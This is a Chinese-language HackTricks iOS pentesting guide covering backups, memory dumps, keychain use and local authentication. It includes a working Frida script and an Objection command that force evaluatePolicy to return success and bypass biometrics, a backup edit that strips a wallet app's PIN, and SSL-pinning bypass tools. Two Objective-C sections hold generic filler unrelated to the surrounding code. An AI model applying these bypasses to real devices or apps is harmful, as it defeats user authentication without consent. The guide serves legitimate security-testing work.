<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(45).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) 可轻松构建并通过全球**最先进**的社区工具**自动化工作流程**。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

## 备份

**自动备份功能**已集成到 iOS 中，通过 iTunes（在 macOS Catalina 之前）、Finder（从 macOS Catalina 开始）或 iCloud 可轻松创建设备数据副本。这些备份几乎包含所有设备数据，但不包括高度敏感的元素，如 Apple Pay 详细信息和 Touch ID 配置。

### 安全风险

备份中包含**已安装应用及其数据**引发了潜在**数据泄漏**问题，以及**备份修改可能会改变应用功能**的风险。建议**不要在明文中存储敏感信息**，以减轻这些风险。

### 从备份中排除文件

默认情况下，`Documents/` 和 `Library/Application Support/` 中的文件会被备份。开发人员可以使用 `NSURL setResourceValue:forKey:error:` 和 `NSURLIsExcludedFromBackupKey` 从备份中排除特定文件或目录。这一做法对于保护敏感数据不被包含在备份中至关重要。

### 漏洞测试

要评估应用的备份安全性，首先通过 Finder **创建一个备份**，然后根据[苹果的官方文档](https://support.apple.com/en-us/HT204215)中的指导找到备份。分析备份中的敏感数据或配置，以确定可能会影响应用行为的内容。

可以使用命令行工具或应用程序如 [iMazing](https://imazing.com) 查找敏感信息。对于加密备份，可以通过检查备份根目录中的 "Manifest.plist" 文件中的 "IsEncrypted" 键来确认是否加密。

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>
```

### 处理加密备份

对于处理加密备份，[DinoSec的GitHub存储库](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts)中提供的Python脚本，如**backup\_tool.py**和**backup\_passwd.py**可能会很有用，尽管可能需要调整以与最新的iTunes/Finder版本兼容。另一个访问受密码保护备份中文件的选择是[**iOSbackup**工具](https://pypi.org/project/iOSbackup/)。

### 修改应用程序行为

通过备份修改来改变应用程序行为的示例在[Bither比特币钱包应用](https://github.com/bither/bither-ios)中展示，其中UI锁定PIN存储在`net.bither.plist`中的**pin\_code**键下。从plist中移除此键并恢复备份将删除PIN要求，提供无限制访问。

## 敏感数据的内存测试总结

处理存储在应用程序内存中的敏感信息时，限制此数据的暴露时间至关重要。有两种主要方法来调查内存内容：**创建内存转储**和**实时分析内存**。这两种方法都有其挑战，包括在转储过程或分析过程中可能错过关键数据的风险。

## **检索和分析内存转储**

对于越狱和非越狱设备，诸如[objection](https://github.com/sensepost/objection)和[Fridump](https://github.com/Nightbringer21/fridump)之类的工具允许转储应用程序的进程内存。一旦转储完成，分析这些数据需要使用各种工具，具体取决于您要搜索的信息的性质。

要从内存转储中提取字符串，可以使用诸如`strings`或`rabin2 -zz`之类的命令：

```bash
# Extracting strings using strings command
$ strings memory > strings.txt

# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt
```

对于更详细的分析，包括搜索特定数据类型或模式，**radare2** 提供了广泛的搜索功能：

```bash
$ r2 <name_of_your_dump_file>
[0x00000000]> /?
...
```

## **运行时内存分析**

**r2frida** 提供了一个强大的替代方案，可以实时检查应用程序的内存，而无需进行内存转储。该工具使得可以直接在运行应用程序的内存上执行搜索命令：

```bash
$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>
```

## 加密破解

### 密钥管理流程不当

一些开发人员会将敏感数据保存在本地存储中，并使用在代码中硬编码/可预测的密钥对其进行加密。这样做是不应该的，因为一些逆向工程可能会使攻击者提取机密信息。

### 使用不安全和/或已弃用的算法

开发人员不应该使用**已弃用的算法**来执行授权**检查**，**存储**或**发送**数据。一些这些算法包括：RC4，MD4，MD5，SHA1...例如，如果要使用哈希来存储密码，应该使用抗哈希暴力破解的哈希算法，并加盐。

### 检查

要执行的主要检查包括查找代码中是否存在**硬编码**的密码/密钥，或者这些密码/密钥是否是**可预测**的，以及代码是否使用某种**弱**的**加密**算法。

有趣的是，您可以使用**objection**自动监视一些**加密\*\*\*\*库**，方法是：

```swift
ios monitor crypt
```

有关iOS加密API和库的**更多信息**，请访问<https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography>

## 本地身份验证

**本地身份验证**在通过加密方法保护远程端点的访问时发挥着至关重要的作用。关键在于，如果没有适当的实现，本地身份验证机制可能会被绕过。

苹果的[**本地身份验证框架**](https://developer.apple.com/documentation/localauthentication)和[**钥匙串**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)为开发人员提供了强大的API，以便于用户身份验证对话框和安全处理秘密数据。安全区域为Touch ID提供指纹ID，而Face ID依赖面部识别而不会泄露生物特征数据。

要集成Touch ID/Face ID，开发人员有两个API选择：

* **`LocalAuthentication.framework`** 用于高级用户身份验证，无法访问生物特征数据。
* **`Security.framework`** 用于较低级别的钥匙串服务访问，使用生物特征身份验证保护秘密数据。各种[开源包装器](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)使钥匙串访问更简单。

{% hint style="danger" %}
然而，`LocalAuthentication.framework`和`Security.framework`都存在漏洞，因为它们主要返回布尔值，而不会传输用于身份验证过程的数据，使其容易受到绕过攻击（参见[Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)）。
{% endhint %}

### 实现本地身份验证

为了提示用户进行身份验证，开发人员应该在\*\*`LAContext`**类中使用**`evaluatePolicy`\*\*方法，在以下选项之间进行选择：

* **`deviceOwnerAuthentication`**：提示使用Touch ID或设备密码，如果两者都未启用，则失败。
* **`deviceOwnerAuthenticationWithBiometrics`**：仅提示使用Touch ID。

从\*\*`evaluatePolicy`\*\*返回的布尔值表示成功的身份验证，突显了潜在的安全漏洞。

### 使用钥匙串进行本地身份验证

在iOS应用程序中实现**本地身份验证**涉及使用**钥匙串API**安全存储诸如身份验证令牌之类的秘密数据。该过程确保数据只能由用户使用其设备密码或Touch ID等生物特征身份验证来访问。

钥匙串提供了设置带有`SecAccessControl`属性的项目的功能，该属性限制对项目的访问，直到用户通过Touch ID或设备密码成功进行身份验证。这一功能对于增强安全性至关重要。

以下是Swift和Objective-C中的代码示例，演示如何将字符串保存到钥匙串中并从中检索出来，利用这些安全功能。这些示例特别展示了如何设置访问控制以要求Touch ID身份验证，并确保数据仅在设置的设备上可访问，前提是配置了设备密码。

```swift
// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md

// 1. create AccessControl object that will represent authentication settings

var error: Unmanaged<CFError>?

guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object

return
}

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute

var query: [String: Any] = [:]

query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl

// 3. save item

let status = SecItemAdd(query as CFDictionary, nil)

if status == noErr {
// successfully saved
} else {
// error while saving
}
```

#### Objective-C

Objective-C是iOS应用程序开发中常用的编程语言。在iOS渗透测试中，了解Objective-C语法和特性非常重要，因为许多iOS应用程序仍然使用Objective-C编写。

**1. 使用Objective-C进行反向工程**

通过学习Objective-C语法和特性，可以更好地理解iOS应用程序的内部工作原理。这对于进行反向工程和发现潜在漏洞非常有帮助。

**2. 分析Objective-C代码**

分析Objective-C代码可以帮助渗透测试人员识别应用程序中的安全漏洞和弱点。深入了解代码逻辑和结构有助于发现潜在的攻击面。

**3. 利用Objective-C运行时特性**

Objective-C的运行时特性使得在运行时动态修改类和对象成为可能。渗透测试人员可以利用这一特性来进行应用程序的修改和调试。

#### 示例代码

以下是一个简单的Objective-C示例代码，用于演示Objective-C语法和特性：

```objective-c
#import <Foundation/Foundation.h>

@interface Person : NSObject

@property (nonatomic, strong) NSString *name;
@property (nonatomic, assign) NSInteger age;

- (void)introduce;

@end

@implementation Person

- (void)introduce {
    NSLog(@"My name is %@ and I am %ld years old.", self.name, (long)self.age);
}

@end

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        Person *person = [[Person alloc] init];
        person.name = @"Alice";
        person.age = 30;
        [person introduce];
    }
    return 0;
}
```

通过学习和分析Objective-C代码，渗透测试人员可以更好地理解iOS应用程序的内部结构和运行机制。

```objectivec
// 1. create AccessControl object that will represent authentication settings
CFErrorRef *err = nil;

SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
kSecAccessControlUserPresence,
err);

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
NSDictionary* query = @{
(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecAttrAccount: @"OWASP Account",
(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding],
(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef
};

// 3. save item
OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil);

if (status == noErr) {
// successfully saved
} else {
// error while saving
}
```

现在我们可以从钥匙串中请求保存的项目。钥匙串服务将向用户显示身份验证对话框，并根据是否提供了合适的指纹来返回数据或nil。

```swift
// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString

// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}

if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}
```

#### Objective-C

Objective-C is the primary programming language used for iOS app development. When performing iOS pentesting, it is essential to understand Objective-C code to identify security vulnerabilities and potential attack vectors.

**Key Points:**

* **Objective-C Syntax**: Familiarize yourself with Objective-C syntax, including classes, methods, properties, and memory management.
* **Security Features**: Understand security features provided by Objective-C, such as data encryption, secure coding practices, and secure communication protocols.
* **Common Vulnerabilities**: Be aware of common security vulnerabilities in Objective-C code, such as buffer overflows, format string vulnerabilities, and insecure data storage.
* **Static Analysis**: Use static analysis tools to identify security issues in Objective-C code, suchjson as insecure coding patterns, memory leaks, and potential vulnerabilities.
* **Dynamic Analysis**: Perform dynamic analysis to identify runtime security issues, such as insecure network communication, sensitive data exposure, and runtime manipulation.

By mastering Objective-C fundamentals and security best practices, you can effectively assess the security posture of iOS applications and provide recommendations for improving their security.

```objectivec
// 1. define query
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecReturnData: @YES,
(__bridge id)kSecAttrAccount: @"My Name1",
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" };

// 2. get item
CFTypeRef queryResult = NULL;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult);

if (status == noErr){
NSData* resultData = ( __bridge_transfer NSData* )queryResult;
NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding];
NSLog(@"%@", password);
} else {
NSLog(@"Something went wrong");
}
```

### 检测

应用程序中使用的框架还可以通过分析应用程序二进制文件的共享动态库列表来检测。可以使用 `otool` 来完成此操作：

```bash
$ otool -L <AppName>.app/<AppName>
```

如果应用程序中使用了 `LocalAuthentication.framework`，输出将包含以下两行（请记住 `LocalAuthentication.framework` 在底层使用 `Security.framework`）:

```bash
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
```

如果使用`Security.framework`，只会显示第二个。

### 本地身份验证框架绕过

#### **Objection**

通过位于[此 GitHub 页面](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)的**Objection生物识别绕过**，可以使用一种技术来绕过**LocalAuthentication**机制。这种方法的核心是利用**Frida**来操纵`evaluatePolicy`函数，确保它始终产生`True`结果，而不考虑实际的身份验证成功与否。这对于规避存在缺陷的生物识别身份验证流程特别有用。

要激活此绕过，使用以下命令：

```bash
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete
```

这个命令启动一个序列，Objection注册一个任务，有效地改变了`evaluatePolicy`检查的结果为`True`。

#### Frida

来自[DVIA-v2应用程序](https://github.com/prateek147/DVIA-v2)中对\*\*`evaluatePolicy`\*\*的使用示例：

```swift
+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";

if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}
```

为了实现本地认证的**绕过**，编写了一个 Frida 脚本。该脚本针对 **evaluatePolicy** 检查，拦截其回调以确保其返回 **success=1**。通过改变回调的行为，认证检查被有效地绕过。

以下脚本被注入以修改 **evaluatePolicy** 方法的结果。它将回调的结果更改为始终指示成功。

```swift
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value)  {

console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}
```

要注入Frida脚本并绕过生物识别身份验证，使用以下命令：

```bash
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
```

## 通过IPC暴露敏感功能

### 自定义URI处理程序 / Deeplinks / 自定义方案

{% content-ref url="ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes" %}
[ios-custom-uri-handlers-deeplinks-custom-schemes](https://hacktricks.xsx.tw/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes)
{% endcontent-ref %}

### 通用链接

{% content-ref url="ios-pentesting/ios-universal-links" %}
[ios-universal-links](https://hacktricks.xsx.tw/mobile-pentesting/ios-pentesting/ios-universal-links)
{% endcontent-ref %}

### UIActivity共享

{% content-ref url="ios-pentesting/ios-uiactivity-sharing" %}
[ios-uiactivity-sharing](https://hacktricks.xsx.tw/mobile-pentesting/ios-pentesting/ios-uiactivity-sharing)
{% endcontent-ref %}

### UIPasteboard

{% content-ref url="ios-pentesting/ios-uipasteboard" %}
[ios-uipasteboard](https://hacktricks.xsx.tw/mobile-pentesting/ios-pentesting/ios-uipasteboard)
{% endcontent-ref %}

### 应用扩展

{% content-ref url="ios-pentesting/ios-app-extensions" %}
[ios-app-extensions](https://hacktricks.xsx.tw/mobile-pentesting/ios-pentesting/ios-app-extensions)
{% endcontent-ref %}

### WebViews

{% content-ref url="ios-pentesting/ios-webviews" %}
[ios-webviews](https://hacktricks.xsx.tw/mobile-pentesting/ios-pentesting/ios-webviews)
{% endcontent-ref %}

### 序列化和编码

{% content-ref url="ios-pentesting/ios-serialisation-and-encoding" %}
[ios-serialisation-and-encoding](https://hacktricks.xsx.tw/mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding)
{% endcontent-ref %}

## 网络通信

重要的是检查是否发生**未加密的通信**，并且应用程序是否正确**验证服务器的TLS证书**。\
要检查这类问题，可以使用像**Burp**这样的代理：

{% content-ref url="ios-pentesting/burp-configuration-for-ios" %}
[burp-configuration-for-ios](https://hacktricks.xsx.tw/mobile-pentesting/ios-pentesting/burp-configuration-for-ios)
{% endcontent-ref %}

### 主机名检查

验证TLS证书的一个常见问题是检查证书是否由**受信任的CA**签名，但**未检查**证书的**主机名**是否为正在访问的主机名。\
为了使用Burp检查此问题，在iPhone上信任Burp CA后，您可以**为不同主机名使用Burp创建新证书**并使用它。如果应用程序仍然正常工作，则存在漏洞。

### 证书固定

如果应用程序正确使用SSL Pinning，则应用程序仅在证书符合预期时才能正常工作。在测试应用程序时，**这可能是一个问题，因为Burp将提供自己的证书。**\
为了绕过此保护，在越狱设备内部，您可以安装应用程序[**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2)或安装[Burp Mobile Assistant](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)。

您还可以使用**objection**的`ios sslpinning disable`

## 杂项

* 在\*\*`/System/Library`\*\*中，您可以找到手机上系统应用程序使用的框架
* 用户从App Store安装的应用程序位于\*\*`/User/Applications`\*\*内
* \*\*`/User/Library`\*\*包含用户级应用程序保存的数据
* 您可以访问\*\*`/User/Library/Notes/notes.sqlite`\*\*以阅读应用程序内保存的笔记。
* 在已安装应用程序的文件夹内（**`/User/Applications/<APP ID>/`**），您可以找到一些有趣的文件：
  * **`iTunesArtwork`**：应用程序使用的图标
  * **`iTunesMetadata.plist`**：App Store中使用的应用程序信息
  * **`/Library/*`**：包含首选项和缓存。在\*\*`/Library/Cache/Snapshots/*`\*\*中，您可以找到应用程序在发送到后台之前执行的快照。

### 热修补/强制更新

开发人员可以远程**立即修补其应用程序的所有安装**，而无需重新提交应用程序到App Store并等待批准。\
为此，通常使用[JSPatch](https://github.com/bang590/JSPatch)**。** 但也有其他选项，如[Siren](https://github.com/ArtSabintsev/Siren)和[react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)。\
**这是一种危险的机制，可能会被恶意第三方SDK滥用，因此建议检查使用哪种方法进行自动更新（如果有）并进行测试。** 您可以尝试下载应用程序的先前版本以进行此目的。

### 第三方

**第三方SDK**的一个重要挑战是对其功能的**缺乏细粒度控制**。开发人员面临选择：要么集成SDK并接受其所有功能，包括潜在的安全漏洞和隐私问题，要么完全放弃其好处。通常，开发人员无法自行修补这些SDK中的漏洞。此外，随着SDK在社区中获得信任，一些可能开始包含恶意软件。

第三方SDK提供的服务可能包括用户行为跟踪、广告显示或用户体验增强。然而，这带来了风险，因为开发人员可能不完全了解这些库执行的代码，从而导致潜在的隐私和安全风险。限制与第三方服务共享的信息至必要内容，并确保不会暴露敏感数据，这一点至关重要。

第三方服务的实施通常有两种形式：独立库或完整SDK。为了保护用户隐私，与这些服务共享的任何数据都应**匿名化**，以防止泄露个人可识别信息（PII）。

要识别应用程序使用的库，可以使用\*\*`otool`\*\*命令。应该针对应用程序及其使用的每个共享库运行此工具，以发现其他库。

```bash
otool -L <application_path>
```

## **参考资料和更多资源**

* <https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering>
* [iOS & 移动应用渗透测试 - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)
* <https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/>
* <https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/>
* <https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/>
* <https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage>
* <https://coderwall.com/p/kjb3lw/storing-password-in-keychain-the-smart-way>
* <https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0055/>
* <https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0053>
* <https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0060/>
* <https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0058>
* <https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0060>
* <https://mas.owasp.org/MASTG/Android/0x05f-Testing-Local-Authentication/>
* <https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064>
* <https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc>
* <https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054>
* <https://github.com/ivRodriguezCA/RE-iOS-Apps/> IOS 免费课程(<https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/>)
* <https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577>
* <https://www.slideshare.net/RyanISI/ios-appsecurityminicourse>
* <https://github.com/prateek147/DVIA>
* <https://github.com/prateek147/DVIA-v2>
* [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground)
* OWASP iGoat [*https://github.com/OWASP/igoat*](https://github.com/OWASP/igoat) <<< Objective-C 版本 [*https://github.com/OWASP/iGoat-Swift*](https://github.com/OWASP/iGoat-Swift) <<< Swift 版本
* <https://github.com/authenticationfailure/WheresMyBrowser.iOS>
* <https://github.com/nabla-c0d3/ssl-kill-switch2>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(45).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) 可以轻松构建和 **自动化工作流**，使用全球 **最先进** 的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**，请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>
